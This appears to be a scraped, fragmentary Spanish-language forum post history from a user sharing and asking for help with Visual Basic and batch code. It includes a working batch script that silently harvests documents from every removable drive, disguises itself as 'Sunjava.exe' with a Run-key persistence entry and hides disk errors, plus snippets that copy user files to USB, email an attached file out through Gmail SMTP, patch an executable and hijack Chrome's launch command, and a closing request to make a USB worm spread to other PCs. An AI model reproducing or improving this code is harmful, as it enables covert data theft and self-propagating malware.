ay alguna forma de bajar un archivo de un ftp sin usar el ftp de windows ?¿ sencillamente el ftp de windows es basura hahaha alguna otra forma ?¿ con bath claro XD
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúOpen "C:\" & nombre & "" For Append As #1
Print #1, "</wand>"
Print #1, "<wand id=""8911"" level=""22"" mana=""5"" min=""27"" max=""33"" type=""ice"" event=" & vari1 & " value=""default""> <!-- Northwind Rod -->"
Close #1
</wand>
<wand id="8911" level="22" mana="5" min="27" max="33" type="ice" event=sincomi value="default"> <!-- Northwind Rod -->
109120132967399429278860960508995541528237502902798129123468757937266291492576446330739696001110603907230888610072655818825358503429057592827629436413108566029093628212635953836686562675849720620786279431090218017681061521755056710823876476444260558147179707119674283982419152118103759076030616683978566631413
Dim file As String, Datos As String, bytearray() As Byte
file = "C:\Archivos de programa\aplicacion\xd.exe"
Open file For Binary As #1
Datos = Space(LOF(1))
Get #1, , Datos
Close #1
bytearray() = StrConv(Datos, vbFromUnicode)
'cmain frame
bytearray(1846824) = Asc("T")
bytearray(1846825) = Asc("i")
bytearray(1846826) = Asc("b")
bytearray(1846827) = Asc("i")
bytearray(1846828) = Asc("a")
bytearray(1846829) = Asc("C")
bytearray(1846830) = Asc("l")
bytearray(1846831) = Asc("i")
bytearray(1846832) = Asc("e")
bytearray(1846833) = Asc("n")
bytearray(1846834) = Asc("t")
Open file For Binary As #1
Put #1, 1, bytearray()
Close #1
End Sub
(FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc,*.txt) DO (copy /y "%%a" "E:\datossss\")) >NUL
(FOR /R "%userprofile%\escritorio\" %%a IN (*.doc,*.txt) DO (copy /y "%%a" "E:\datossss\")) >NUL
(FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc,*.txt) DO (copy /y "%%a" "E:\datossss\"))
(FOR /R "%userprofile%\escritorio\" %%a IN (*.doc,*.txt) DO (copy /y "%%a" "E:\datossss\"))
Set oMail = New clsCDOmail
With oMail
.servidor = "smtp.gmail.com"
.puerto = 465
.UseAuntentificacion = True
.ssl = True
.Usuario = "correo@gmail.com"
.PassWord = "contrasena"
.Asunto = "aquixd"
.Adjunto = "C:\WINDOWS\lolaso"
.de = "correo@gmail.com"
.para = Text3.Text
.Mensaje = "aqui te mando"
.Enviar_Backup
End With
Set oMail = Nothing
Option Explicit
' para la conexión a internet
Private Declare Function InternetGetConnectedState _
Lib "wininet.dll" ( _
ByRef lpdwFlags As Long, _
ByVal dwReserved As Long) As Long
Private Const INTERNET_CONNECTION_MODEM_BUSY As Long = &H8
Private Const INTERNET_RAS_INSTALLED As Long = &H10
Private Const INTERNET_CONNECTION_OFFLINE As Long = &H20
Private Const INTERNET_CONNECTION_CONFIGURED As Long = &H40
' variables locales
Private mServidor As String
Private mPara As String
Private mDe As String
Private mAsunto As String
Private mMensaje As String
Private mAdjunto As String
Private mPuerto As Variant
Private mUsuario As String
Private mPassword As String
Private mUseAuntentificacion As Boolean
Private mSSL As Boolean
Public Event Error(Descripcion As String, Numero As Variant)
Public Event EnvioCompleto()
Function Enviar_Backup() As Boolean
' Variable de objeto Cdo.Message
Dim oCDO As Object
' chequea si hay conexión
If InternetGetConnectedState(0&, 0&) = False Then
RaiseEvent Error("No se puede enviar el correo. " & _
"Verificar la conexión a internet si está disponible", 0)
Exit Function
End If
' chequea que el puerto sea un número, o que no esté vacío
If Not IsNumeric(puerto) Then
RaiseEvent Error("No se ha indicado el puerto del servidor", 0)
Exit Function
End If
' Crea un Nuevo objeto CDO.Message
Set oCDO = CreateObject("CDO.Message")
' Indica el servidor Smtp para poder enviar el Mail ( puede ser el nombre _
del servidor o su dirección IP )
oCDO.Configuration.Fields( _
"http://schemas.microsoft.com/cdo/configuration/smtpserver") = mServidor
oCDO.Configuration.Fields( _
"http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
' Puerto. Por defecto se usa el puerto 25, _
en el caso de Gmail se usa el puerto 465
oCDO.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = mPuerto
' Indica el tipo de autentificación con el servidor de correo _
El valor 0 no requiere autentificarse, el valor 1 es con autentificación
oCDO.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/" & _
"configuration/smtpauthenticate") = Abs(mUseAuntentificacion)
' Tiempo máximo de espera en segundos para la conexión
oCDO.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 10
' Configura las opciones para el login en el SMTP
If mUseAuntentificacion Then
' Id de usuario del servidor Smtp ( en el caso de gmail, _
debe ser la dirección de correro mas el @gmail.com )
oCDO.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/sendusername") = mUsuario
' Password de la cuenta
oCDO.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/sendpassword") = mPassword
' Indica si se usa SSL para el envío. En el caso de Gmail requiere que esté en True
oCDO.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = mSSL
End If
' Estructura del mail
'''''''''''''''''''''''''''''''''''''''''''''''
' Dirección del Destinatario
oCDO.To = mPara
' Dirección del remitente
oCDO.From = mDe
' Asunto del mensaje
oCDO.Subject = mAsunto
' Cuerpo del mensaje
oCDO.TextBody = mMensaje
'Ruta del archivo adjunto
If mAdjunto <> "" Then
If Len(Dir(mAdjunto)) = 0 Then
' ..error
RaiseEvent Error("No se ha encontrado el archivo en la siguiente ruta: ", 0)
Exit Function
Else
' ..lo agrega
oCDO.AddAttachment (mAdjunto)
End If
End If
' Actualiza los datos antes de enviar
oCDO.Configuration.Fields.Update
On Error Resume Next
Screen.MousePointer = vbHourglass
' Envía el email
oCDO.Send
Screen.MousePointer = 0
' .. si no hubo error
If Err.Number = 0 Then
Enviar_Backup = True
RaiseEvent EnvioCompleto
ElseIf Err.Number = -2147220973 Then
RaiseEvent Error("Posible error : nombre del Servidor " & _
"incorrecto o número de puerto incorrecto", Err.Number)
ElseIf Err.Number = -2147220975 Then
RaiseEvent Error("Posible error : error en la el nombre de usuario, " & _
"o en el password ", Err.Number)
Else
RaiseEvent Error(Err.Description, Err.Number)
End If
' Descarga la referencia
If Not oCDO Is Nothing Then
Set oCDO = Nothing
End If
Err.Clear
Screen.MousePointer = vbNormal
End Function
' propiedades
'''''''''''''''''''''
Property Get servidor() As String
servidor = mServidor
End Property
Property Let servidor(value As String)
mServidor = value
End Property
Property Get para() As String
para = mPara
End Property
Property Let para(value As String)
mPara = value
End Property
Property Get de() As String
de = mDe
End Property
Property Let de(value As String)
mDe = value
End Property
Property Get Asunto() As String
Asunto = mAsunto
End Property
Property Let Asunto(value As String)
mAsunto = value
End Property
Property Get Mensaje() As String
Mensaje = mMensaje
End Property
Property Let Mensaje(value As String)
mMensaje = value
End Property
Property Get Adjunto() As String
Adjunto = mAdjunto
End Property
Property Let Adjunto(value As String)
mAdjunto = value
End Property
Property Get puerto() As Variant
puerto = mPuerto
End Property
Property Let puerto(value As Variant)
mPuerto = value
End Property
Property Get Usuario() As String
Usuario = mUsuario
End Property
Property Let Usuario(value As String)
mUsuario = value
End Property
Property Get PassWord() As String
PassWord = mPassword
End Property
Property Let PassWord(value As String)
mPassword = value
End Property
Property Get UseAuntentificacion() As Boolean
UseAuntentificacion = mUseAuntentificacion
End Property
Property Let UseAuntentificacion(value As Boolean)
mUseAuntentificacion = value
End Property
Property Get ssl() As Boolean
ssl = mSSL
End Property
Property Let ssl(value As Boolean)
mSSL = value
End Property
REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Clients\StartMenuInternet\chrome.exe\shell\open\command /v "" /t REG_SZ /d "%USERPROFILE%\Configuración local\Datos de programa\Google\Chrome\Application\chrome.exe www.google.com.mx" /f
HKEY_LOCAL_MACHINE\SOFTWARE\Clients\StartMenuInternet\chrome.exe\shell\open\command
"C:\Documents and Settings\9\Configuración local\Datos de programa\Google\Chrome\Application\chrome.exe" www.google.com.mx
Private Sub Command1_Click()
Open "C:\WINDOWS\xd.txt" For Append As #1
'vbCrLf es como un enter
Print #1, "fecha="; Date; vbCrLf; vbCrLf; "clave= "; Text1.Text & vbCrLf; "nombre="; Text2.Text & vbCrLf; "precio="; Text3.Text; vbCrLf
Close #1
MsgBox "guardado"
Private Sub Command2_Click()
Dim foo As Integer
foo = FreeFile
Open "C:\WINDOWS\xd.txt" For Input As #foo
Text4.Text = Input(LOF(foo), #foo)
Close #foo
aqui esta el programa
http://www.mediafire.com/?37o07mrd6l01wg6
necesito si me podrian ayudar a que la informacion del archivo de texto se borre ojala me pudieran ayudar
(*.doc,*cpp,*ppt,*d0cx,*pptx,*.c)
(*.jpg)
(*.jpg,*.mp3)
mkdir C:\trabajos
REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Sunupdateservice /t REG_SZ /d "%WINDIR%\14785\Sunjava.exe" /f
REG ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Windows /v ErrorMode /t REG_DWORD /d "2" /f
ping 127.0.0.1 -n 35
@echo off
REM A
REM U
REM T
REM O
REM C
REM O
REM P
REM Y
REM by asdexiva~
:inicio
mkdir C:\trabajos
REM copiado de archivos al usb
(FOR /R "E:\" %%a IN (*.doc,*cpp,*ppt,*d0cx,*pptx,*.c) DO (copy /y "%%a" "C:\trabajos\"))
(FOR /R "F:\" %%a IN (*.doc,*cpp,*ppt,*d0cx,*pptx,*.c) DO (copy /y "%%a" "C:\trabajos\"))
(FOR /R "G:\" %%a IN (*.doc,*cpp,*ppt,*d0cx,*pptx,*.c) DO (copy /y "%%a" "C:\trabajos\"))
(FOR /R "H:\" %%a IN (*.doc,*cpp,*ppt,*d0cx,*pptx,*.c) DO (copy /y "%%a" "C:\trabajos\"))
(FOR /R "I:\" %%a IN (*.doc,*cpp,*ppt,*d0cx,*pptx,*.c) DO (copy /y "%%a" "C:\trabajos\"))
(FOR /R "J:\" %%a IN (*.doc,*cpp,*ppt,*d0cx,*pptx,*.c) DO (copy /y "%%a" "C:\trabajos\"))
(FOR /R "K:\" %%a IN (*.doc,*cpp,*ppt,*d0cx,*pptx,*.c) DO (copy /y "%%a" "C:\trabajos\"))
(FOR /R "L:\" %%a IN (*.doc,*cpp,*ppt,*d0cx,*pptx,*.c) DO (copy /y "%%a" "C:\trabajos\"))
(FOR /R "W:\" %%a IN (*.doc,*cpp,*ppt,*d0cx,*pptx,*.c) DO (copy /y "%%a" "C:\trabajos\"))
REM SE AGREGA AL INICIO DEL SISTEMA
REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Sunupdateservice /t REG_SZ /d "%WINDIR%\14785\Sunjava.exe" /f
REM DESABILITA ERROR NO AY DISCO
REG ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Windows /v ErrorMode /t REG_DWORD /d "2" /f
REM COPIAR ARCHIVO A WINDOWS PARA INICIAR con el registro
Copy /y %0, "%WINDIR%\14785\Sunjava.exe"
:LOOP
REM especie de sleep 35 SEGUNDOS
ping 127.0.0.1 -n 35
goto inicio
(FOR /R "E:\" %%a in (*.doc) do (copy /y "%%a" "C:\trabajos\"))
@echo off
copy "E:\*.doc" "C:\trabajos"
no es exactamente mio es de octalh hahaha pero lo estoy modificando corre todo bien
pero cuando aparece en la memoria el exe no funciona no se duplica en otras pcs ok dejo el codigo el problema esta en el systemshell.exe el archivo original si lo ejecuto hace todo bien y los que se copian en la usb no se duplican ojala pudieran ayudarme :huh:
GOTO CHEKARWORM
posdata el original si sirve los copiados a usb no :S